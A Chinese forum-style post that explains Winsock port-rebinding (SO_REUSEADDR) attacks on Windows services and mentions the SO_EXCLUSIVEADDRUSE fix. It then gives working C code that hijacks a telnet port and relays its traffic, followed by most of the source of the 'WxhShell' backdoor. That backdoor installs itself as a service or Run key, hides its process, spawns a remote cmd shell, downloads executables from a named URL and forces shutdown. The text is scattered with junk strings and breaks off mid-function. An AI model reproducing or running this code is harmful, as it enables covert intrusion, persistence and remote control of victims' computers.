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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y2yW91B, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pQ!NhzQ iE!\)7y saddr.sin_family = AF_INET; v&D^N9hy9 ;1A4p`) saddr.sin_addr.s_addr = htonl(INADDR_ANY); yk,o*g ehV`@ss bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V31<~&O~% kR3g,P{L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VkZrb2]v >/Gz*. 这意味着什么?意味着可以进行如下的攻击: 8lg$] bO8 g#rO 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @GK0j"_ /Z94<}C6b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
bF0y` %l(qyH)* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [?Wt ZM^q GBFYa6\4sT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 mADq_`j d@<(Z7| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3Gubq4r T;IaVMFG|d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x$tx!%,)/S FO&U{(Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K?8{y rzsb( #include [kM)K'- #include c,:xm=& #include QX1QYwcm G #include ~k'KS
7c DWORD WINAPI ClientThread(LPVOID lpParam); ]v{f!r=} int main() ;!v2kVuS] { DpI)qg#>V WORD wVersionRequested; n*D-01vYP DWORD ret; XXBN
Nr_CK WSADATA wsaData; ^$}9
Enj+Y BOOL val; 6sJN@dFA SOCKADDR_IN saddr; ;Kob]b SOCKADDR_IN scaddr; 01uMbtM int err; Y?a*-" SOCKET s;
G?AZ%Yx SOCKET sc; .'k]]2%ILp int caddsize; `xMmo8u4 HANDLE mt;
) jv]Oz DWORD tid; TPH`{ wVersionRequested = MAKEWORD( 2, 2 ); ViIt'WX err = WSAStartup( wVersionRequested, &wsaData ); $hZb<Xz if ( err != 0 ) { sEP-jEuwG printf("error!WSAStartup failed!\n"); fl #gWAM return -1; (Z;;v|F.i= } <5X?6*Qvr saddr.sin_family = AF_INET; r~&"D#)sy #; CC"
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >>oR@ #9M6 q saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^x-vOGlR saddr.sin_port = htons(23); uu@Y]0- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B8;jRY { nk|j(D printf("error!socket failed!\n"); /n;Ll](ri return -1; :34]}`- } `?r]OVe{y val = TRUE; S{'/=Px+ //SO_REUSEADDR选项就是可以实现端口重绑定的 5N<f\W, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |:BKexjHL { "uf*?m3 printf("error!setsockopt failed!\n"); W/q-^Zkt,9 return -1; o!!";q%DX } {\3k(NdEX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y7(E<1Yx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 exT
O#*o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y=7WnQc XJ,P8nx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vz[E)(QX-` { 8s(?zK\ ret=GetLastError(); q_S`@2Dzz, printf("error!bind failed!\n"); S81Z\=eK return -1; +EK(r@eV } 5{/CqUIl listen(s,2); hiO:VA while(1) A`_(L|~ { kzU;24"K caddsize = sizeof(scaddr); U'(}emh} //接受连接请求 /)fx(u# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rj6:.KEJ if(sc!=INVALID_SOCKET) GPlAQk { :?W {vV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OjO$.ecT if(mt==NULL) jyQBx { ;Yo9e~
printf("Thread Creat Failed!\n"); wgfy; # break; 2r;^OWwr? } 1&N|k;#QS } \)Jv4U\; CloseHandle(mt); &* GwA } {];4 closesocket(s); oz
$T. WSACleanup(); juOOD return 0; 0s )B~ } i\hH .7G1 DWORD WINAPI ClientThread(LPVOID lpParam) f[v~U<\R { *AX)QKQ@ SOCKET ss = (SOCKET)lpParam; yem*g1 SOCKET sc; NCbl|v= unsigned char buf[4096]; )#ze SOCKADDR_IN saddr; 3S='/^l long num; w}n:_e DWORD val; ]yu,YZ@7 DWORD ret; L$zI_
z //如果是隐藏端口应用的话,可以在此处加一些判断 #;cDPBv*wS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 8was/^9; saddr.sin_family = AF_INET; 5"(AqXoq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t95hI DtD saddr.sin_port = htons(23); clfi)-^{K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F jdh&9Zc { $__e7 printf("error!socket failed!\n"); qZRx,^gd return -1; 04-phEA2Q } Cr0
\7 val = 100; Y#'mALC2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +<&\*VR { Vlb L
p; ret = GetLastError(); _J^q| return -1; G#n99X@- } `L0aQ$'>z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DDxNqVVt4 { Zur7"OkQ ret = GetLastError(); OdX-.FFl return -1; CORX .PQ } 5MY+O\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g*$
0G { bm1+|gssn printf("error!socket connect failed!\n"); cGSoAK closesocket(sc); + wd} '4) closesocket(ss); ]:TX> X! return -1; ),`MAevp } R<W#.mpo6 while(1) L'=e /& { xTQV?g
J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,Ie~zZE& //如果是嗅探内容的话,可以再此处进行内容分析和记录 *8k`m)h26 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fM8kS num = recv(ss,buf,4096,0); BcV;EEi if(num>0) Yh/-6wg send(sc,buf,num,0); $$YLAgO4 else if(num==0) 4/D~H+k break; v8g3]MVj3 num = recv(sc,buf,4096,0); pJ7wd~wF* if(num>0) B.fLgQK0 send(ss,buf,num,0); L^PZ\OC else if(num==0) q|m8G break; 9R.IYnq } (?-5p; closesocket(ss); wqo2iRql closesocket(sc); 9/C0DDb return 0 ; j}YZl@dYV } @(.?e< (zkh`8L 01I5,Dm ========================================================== N3^pFy` #|*;~:fz 下边附上一个代码,,WXhSHELL e2w$":6> ixN>KwH ========================================================== aq3evm :6LOb f\01 #include "stdafx.h" cqeId&Cg G-oCA1UdN #include <stdio.h> R= HN>(U #include <string.h> S|T:rc(~ #include <windows.h> UNocm0!N' #include <winsock2.h> AG)N^yd #include <winsvc.h> $I_04k#t #include <urlmon.h> :0ND0A{K: ia|^>V>- #pragma comment (lib, "Ws2_32.lib") %_+9y?? #pragma comment (lib, "urlmon.lib") KmV#%
d ]OY6.m #define MAX_USER 100 // 最大客户端连接数 RLY Ae #define BUF_SOCK 200 // sock buffer >>krH'79 #define KEY_BUFF 255 // 输入 buffer j-$aa; l1`Zp9I #define REBOOT 0 // 重启 6, ag\ #define SHUTDOWN 1 // 关机 <Xw 6m$fr: `g%]z@'+? #define DEF_PORT 5000 // 监听端口 aq"E@fb rBs7,h #define REG_LEN 16 // 注册表键长度 y5?T`ts,# #define SVC_LEN 80 // NT服务名长度 Cq1t[a t&SJ!>7_c // 从dll定义API uR)itmc? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'xZxX3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); # l~d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XRs/gUT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ed#%F-1sX EH3jzE3N // wxhshell配置信息 lsW.j#yE! struct WSCFG { S$%/9^\jF int ws_port; // 监听端口 =Z/'|;Vd_x char ws_passstr[REG_LEN]; // 口令 +YT/od1t7 int ws_autoins; // 安装标记, 1=yes 0=no 6N.mSnp char ws_regname[REG_LEN]; // 注册表键名 0]8+rWp|Nz char ws_svcname[REG_LEN]; // 服务名 FVG|5'V^ char ws_svcdisp[SVC_LEN]; // 服务显示名 3leg,qd char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^w2n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pb} &c int ws_downexe; // 下载执行标记, 1=yes 0=no `(;d+fof char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" A4';((OXy char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V]H<:UE 23+6u{
}; mUr@w*kq|p I>/`W // default Wxhshell configuration 3D\.Sj% struct WSCFG wscfg={DEF_PORT, ^'QcP5Fv "xuhuanlingzhe", oD{V_/pdx 1, A#1aO "Wxhshell", f]T1:N*t "Wxhshell", g/+M&k$ "WxhShell Service", l@1f L%f "Wrsky Windows CmdShell Service", sLbz@5 4 "Please Input Your Password: ", T<zonx1 1, /7S]%UY " http://www.wrsky.com/wxhshell.exe", +KFK.. "Wxhshell.exe" a-!"m }; 1I3u~J3]/ U
YUIpe // 消息定义模块 .NjdkHYR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ec1g7w-n char *msg_ws_prompt="\n\r? for help\n\r#>";
4EB$e? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; eV9:AN }K= char *msg_ws_ext="\n\rExit."; K1:F{* char *msg_ws_end="\n\rQuit."; 2SG|]= char *msg_ws_boot="\n\rReboot..."; ^0{S!fs char *msg_ws_poff="\n\rShutdown..."; .e.vh:Sz char *msg_ws_down="\n\rSave to "; ~ezCE4^& -<z'f){gb char *msg_ws_err="\n\rErr!"; " "a+Nc char *msg_ws_ok="\n\rOK!"; D{BH~IM 4Hzbb# char ExeFile[MAX_PATH]; ^D4 b\mF int nUser = 0; =Bo0Oei HANDLE handles[MAX_USER]; SVq7qc9K? int OsIsNt; m}uF&|5 l'16B^ SERVICE_STATUS serviceStatus; E=s`$ A
SERVICE_STATUS_HANDLE hServiceStatusHandle; iUI,r* AU'{aC+p // 函数声明 K&|zWpb int Install(void); &<UOi@ int Uninstall(void); I}:>M!w int DownloadFile(char *sURL, SOCKET wsh); RB &s$6A int Boot(int flag); ?!~au0 void HideProc(void); =:"@YD^a4 int GetOsVer(void); &u=FLp5 int Wxhshell(SOCKET wsl); BM&'3K_y void TalkWithClient(void *cs); Q ;k_q3 int CmdShell(SOCKET sock); J.?p?-" int StartFromService(void); ae!_u
\$ int StartWxhshell(LPSTR lpCmdLine); _l8oB) H~V=TEj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Aw.f! VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9h0|^ttF 0e7v ?UT // 数据结构和表定义 x~{m%)I SERVICE_TABLE_ENTRY DispatchTable[] = N@d4) { in+`zfUJ9 {wscfg.ws_svcname, NTServiceMain}, {?L}qV {NULL, NULL} JK_$A;Q }; &P+cTN9) 4P:vo $Cy // 自我安装 Sr+1.77} int Install(void) =)I{KT:y { O/-OW: 03 char svExeFile[MAX_PATH]; @K+u+}
R HKEY key; rW6w1 strcpy(svExeFile,ExeFile); *v5y]E%aW a9qZI // 如果是win9x系统,修改注册表设为自启动 g)p[A 4 if(!OsIsNt) { %##9.Xm6l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1^W Aps RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bkz RegCloseKey(key); 5
+
Jy
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sv>aZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x)Th2es\ RegCloseKey(key); @%fkW"y: return 0; <'vM+Lk } \Fe5<G'v } zO\"$8q* } X0P$r6 ; else { PCIC*!{ LnyA 5T // 如果是NT以上系统,安装为系统服务 v0xi(Wu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g,W#3b6>j if (schSCManager!=0) :-
5Mn3* { #M>E{w9 SC_HANDLE schService = CreateService bQeYFY#^ ( 0yZw`|Zh[ schSCManager, 34l=U? wscfg.ws_svcname, D@ lJ^+ wscfg.ws_svcdisp, z"H%Y8 SERVICE_ALL_ACCESS, SMy&K[hJ[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LpiLk| 2i SERVICE_AUTO_START, AP~!YwLW SERVICE_ERROR_NORMAL, pKJ[e@E^ svExeFile, \C6m.%%={R NULL, (J;?eeP NULL, 50Jr(OeU< NULL, ujSzm=_P NULL, _HL3XT NULL [&4y@ ); tw(2V$J if (schService!=0) %B?5l^W@ { z>&D~0 CloseServiceHandle(schService); d+w<y~\
q CloseServiceHandle(schSCManager); jGWLYI=V2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3z ry %qV= strcat(svExeFile,wscfg.ws_svcname); BA5= D>T- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y7Ub~qU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZN1p>+oY! RegCloseKey(key); NR [VGZj return 0; hPH7(f|c{g } GJ$,@ }
4NzHzn CloseServiceHandle(schSCManager); t.TQ@c+,J } oe<Y,%u"6 } hh{liS% 10 d"cfSH;h return 1; (M=Br } uXC?fMWp. JQCwI`%i // 自我卸载 !K2[S
J int Uninstall(void) RAxz+1JT { &sWyh[`P HKEY key; +Oscy-;
1W8W/Y=hT if(!OsIsNt) { O^:h _L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2=|IOkY RegDeleteValue(key,wscfg.ws_regname); [4t KJ+v RegCloseKey(key); {3Rax5Ty if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !L_ SHlU RegDeleteValue(key,wscfg.ws_regname); uj@<_|7 RegCloseKey(key); w\ :b(I return 0; &|4Uo5qS=Z } LNb![Rq } E6gEP0b } *LVM}| f else { "10VN*)J} cmeyCyV* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CvJm7c if (schSCManager!=0) P(;c` { C"{on% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (
A) wcB if (schService!=0) *J=ol { 1`t?5|s>
if(DeleteService(schService)!=0) { NZuFxJ-` CloseServiceHandle(schService); THp `!l CloseServiceHandle(schSCManager); v\eBL&WK return 0; 8iN As#s } \2,18E CloseServiceHandle(schService); (AYS>8O& } 1sjn_fPz CloseServiceHandle(schSCManager); U!5*V9T~J } (n/1:' } %},gE[N!J o;mIu#u return 1; o0L#39`'g } A] 9JbNV bAiw]xi // 从指定url下载文件 O m int DownloadFile(char *sURL, SOCKET wsh) q9!9OcN2 { l/^-:RRNKi HRESULT hr; 8957$g char seps[]= "/"; v~Qy{dn
P char *token; `[CJtd2\ char *file; 8tMte!E char myURL[MAX_PATH];
I={{VQ char myFILE[MAX_PATH]; xW =$j| ([*t. strcpy(myURL,sURL); +df?N token=strtok(myURL,seps); @E2nF|N while(token!=NULL) cloI 6%5r { ~PnpYd<2 file=token; YkPt*?,P/ token=strtok(NULL,seps); dO,05?q| } 63S1ed[ RH Vv}N0 GetCurrentDirectory(MAX_PATH,myFILE); '.yWL strcat(myFILE, "\\"); &|'6-wD. strcat(myFILE, file); a7\L-T+ send(wsh,myFILE,strlen(myFILE),0); &o@5%Rz2/ send(wsh,"...",3,0); HDyZzjgG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >-lL-%N_ if(hr==S_OK) q&Wwtqc9 return 0; !h>$bm else p,\bez
return 1; R"gm]SQ/ P&0cF{ } lhl0 Ko)T>8: // 系统电源模块 T zYgH int Boot(int flag) NB5B$q_'# { #.+*G`m HANDLE hToken; XhAcC TOKEN_PRIVILEGES tkp; }]+}Tipd >5O y^u6Ly if(OsIsNt) { h<ct W>6v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *9Js:z7I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0C+yq'D~[ tkp.PrivilegeCount = 1; Y~hd<8 ~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +1jqCW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H0 n@kKr if(flag==REBOOT) { zMzf=~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ku9FN return 0; w^E]N } Rn(F#tI else { u|>U`[Zpj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Oy5G7^R return 0; Y_3YO2K] } ajW$d! } B
m@oB2x) else { \BcJDdL if(flag==REBOOT) { m\Fb , if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1\J1yOL return 0; ~uZLe\>K } VueQP| else { UFAMbI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +fCyR return 0; -5,y
1_M } l)PFzIz=V } i2}=/ f+aS2k(e> return 1; (:bCOEZ } M3;v3
}z<- Z=Y_;dS9 // win9x进程隐藏模块 a0/n13c?G void HideProc(void) y7IbE { ]7R&m)16 -f;j1bQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J%-lw{FC if ( hKernel != NULL ) %=mwOoMk0L { MV;Y?%> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #b"5L2D`y' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zTBi{KrZ FreeLibrary(hKernel); z2nUul(2 } Rr;LV<q+ {cyo0-9nv return; x [{q&N!"` } uM#U! hzuMTKH9 // 获取操作系统版本 HSr"M.k5 int GetOsVer(void) 5)>ZO)F& { G0;EbJ/& OSVERSIONINFO winfo; oA3W
{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =y-!k)t GetVersionEx(&winfo); 6aF'^6+a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sv~1XL W return 1; 3e!Yu.q: else }2BH_
2 return 0; ox\B3U%`p} } i^s`6:rNu 1y)$[e
// 客户端句柄模块 ]g8i>,G int Wxhshell(SOCKET wsl) sQ>B_Y! { 8W1K3[Jj< SOCKET wsh; j_6` s!Yw struct sockaddr_in client; UP~WP@0F DWORD myID; WDoKbTv AK~`pq[. while(nUser<MAX_USER) %];h|[ax] { {sna)v$; int nSize=sizeof(client); FQ_%)Ty2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?LV-W if(wsh==INVALID_SOCKET) return 1; :uIi
? C$'D]fX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _']%qd"% if(handles[nUser]==0) dY4k9p8 closesocket(wsh); z*dQIC else j2o1" nUser++;
/.| A } "J8;4p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :!+}XT7)/ u^aFj%}]L return 0; n ,&/D } {XDY:`vZ} Uxk[O // 关闭 socket ]M+VSU void CloseIt(SOCKET wsh) !sfXq"F { 8z."X$ closesocket(wsh); 7|+|\7l# nUser--; ,TKs/-_? ExitThread(0); [w+h-q } d4y9AE@k FUyB"-< // 客户端请求句柄 s.R-<Y3 void TalkWithClient(void *cs) |P,zGy { !^)wPmk `?zg3GD_ SOCKET wsh=(SOCKET)cs; o[bE char pwd[SVC_LEN]; 96"yNqBf char cmd[KEY_BUFF]; V9fGVDl; char chr[1]; ;0w ^ud int i,j; Q)LXL.0h tb:,Uf>E while (nUser < MAX_USER) { M('s|>\l ?Y?gzD if(wscfg.ws_passstr) { (kWSK:l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QQg8+{> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *PSvHXNi //ZeroMemory(pwd,KEY_BUFF); V-KL% i=0; bH\'uaJ while(i<SVC_LEN) { '%zN KA 5~">l // 设置超时 AW,v fd_set FdRead; V;h=8C 5J struct timeval TimeOut; j4~7akG FD_ZERO(&FdRead); m,W) N9 M FD_SET(wsh,&FdRead); >lD;0EN TimeOut.tv_sec=8; (O)\#%,@R TimeOut.tv_usec=0; Q0zW ]a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S=0"f}Jo. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7|&e[@B X,C*qw@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B :.@Qi^ pwd =chr[0]; GXDC@+$14 if(chr[0]==0xd || chr[0]==0xa) { mu6039qy pwd=0; CS/Mpmsp break; o"rq/\ovv } _j:UGMTi(U i++; ;{<aA 5 } "+=Pp +hE',i. // 如果是非法用户,关闭 socket :83,[;GO2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ifXW } 96(R'^kNX K)\(wxv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2t+D8 d|c< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F%xK"l`& ""co6qo#> while(1) { T4mv%zzS Zy^=fM ZeroMemory(cmd,KEY_BUFF); \)ip>{WG g>so
R&* // 自动支持客户端 telnet标准 PU W[e% j=0; QV7,G9 while(j<KEY_BUFF) { n-DaX
kK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8{dEpV* cmd[j]=chr[0]; o]Gguw5W{ if(chr[0]==0xa || chr[0]==0xd) { |6aJwe+*
cmd[j]=0; j~bAbOX12
break; m`z7fi7u } cJCU*(7& j++; ?WQNIX4 } hk%k(^ekU] av-#)E // 下载文件 c!It^* if(strstr(cmd,"http://")) { qj&bo send(wsh,msg_ws_down,strlen(msg_ws_down),0); ow$q7uf if(DownloadFile(cmd,wsh)) }Z\wH*s` send(wsh,msg_ws_err,strlen(msg_ws_err),0); gV8"VZg2 else ad9CsvW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ciudRK63M } >{C\H.N else { OR:[J5M) WK0C switch(cmd[0]) { !SO8O V|'1tB=;*1 // 帮助 S,''>`w case '?': { mk!Dozb/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WNs}sNSf break; %y&]'A } 0w %[ // 安装 Pao%pA.< case 'i': { Kc #|Z if(Install()) =bLY
/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#vv$YD else <P_ea/5:| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|em[D[Y^ break; fuUm}N7 } ,lt8O.h-l // 卸载 2-'Opu case 'r': { CSTI?A"P if(Uninstall()) g5Z#xszj+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !TKkec8$ else 52d^K0STC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C[uOReo break; kW@,$_cK } w%y\dIeI' // 显示 wxhshell 所在路径 C3'rtY. case 'p': { R@iUCT^$ char svExeFile[MAX_PATH]; XL$* _c <) strcpy(svExeFile,"\n\r"); aG+j9Q_ strcat(svExeFile,ExeFile); 5D Y\:AF send(wsh,svExeFile,strlen(svExeFile),0); e`K)_>^n# break; Zg~nlO2 } ]m4OIst // 重启 1L nyWZ case 'b': { dRi5hC$ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a4MZ;5
if(Boot(REBOOT)) L<V3KS2y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4|?{VQ else { ])DX%$f closesocket(wsh); c{+A J8 ExitThread(0); V 9wI\0 } en F :>H4 break; n5-)/R[z } o Y}]UB> // 关机 FQz?3w&ia case 'd': { .|qK+Hnc send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bx4'en# if(Boot(SHUTDOWN)) @f+8%I3D send(wsh,msg_ws_err,strlen(msg_ws_err),0); N2'qpxOLI else { epHJ@ W@# closesocket(wsh); ;<
jbLhHwD ExitThread(0); i':i_kU } #oeG!<Mn break; xo}b=
v } iD38\XNMV // 获取shell WtulTAfN case 's': { $rF=_D6 CmdShell(wsh); kum#^^4G| closesocket(wsh); cJo\#cr ExitThread(0); 9>zcBG8f break; DZ7
gcC } 0Sq][W= // 退出 /MMd`VrC2 case 'x': { :A
%^^F% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ).` S/F CloseIt(wsh); ,;?S\V break; ml0.$z } tM-^<V& // 离开 @vL20O. case 'q': { $Nrm!/)*'} send(wsh,msg_ws_end,strlen(msg_ws_end),0); wbDM5% closesocket(wsh); E:zF/$tG WSACleanup(); KrVcwAcq|1 exit(1); e^4 p% break; a?|vQ*W } G22NQ~w8 } S po?i.# } F' U 50usV iwz // 提示信息 [b{CkX06 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o1&:ry } du$|lxC } &l$Q^g {3})=>u:S return; +_XmlX A3Z } _&K #HS]NA|e@ // shell模块句柄 xq6cKtSv int CmdShell(SOCKET sock) K{n{KB&_& { +("7ZK? STARTUPINFO si; %Qg+R26U ZeroMemory(&si,sizeof(si)); eh1Q7~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $^u}a si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {`2R,Jb%S PROCESS_INFORMATION ProcessInfo; E?(xb B char cmdline[]="cmd"; #r
PP* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #%J5\+ua return 0; + <,gB $j } sr@j$G#uW5 r{L4]|(utY // 自身启动模式 QwhRNnE= int StartFromService(void) iU6Gp-<M, { r kiT1YTY typedef struct )54%HM_$k { qV5DW0. DWORD ExitStatus; BBcV9CGU DWORD PebBaseAddress; LZMYr DWORD AffinityMask; hhoEb(BA DWORD BasePriority; f+rz|(6vs{ ULONG UniqueProcessId; _gKe%J& ULONG InheritedFromUniqueProcessId; cRX~z } PROCESS_BASIC_INFORMATION; -v6M< g$dsd^{O7 PROCNTQSIP NtQueryInformationProcess; 6<K6Y5<6 iH^z:%dP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {'16:dTJ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h*ZC*eV> :!zl^J; HANDLE hProcess; QRLt9L PROCESS_BASIC_INFORMATION pbi; l }XU59 nC{%quwh{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A)ipFB
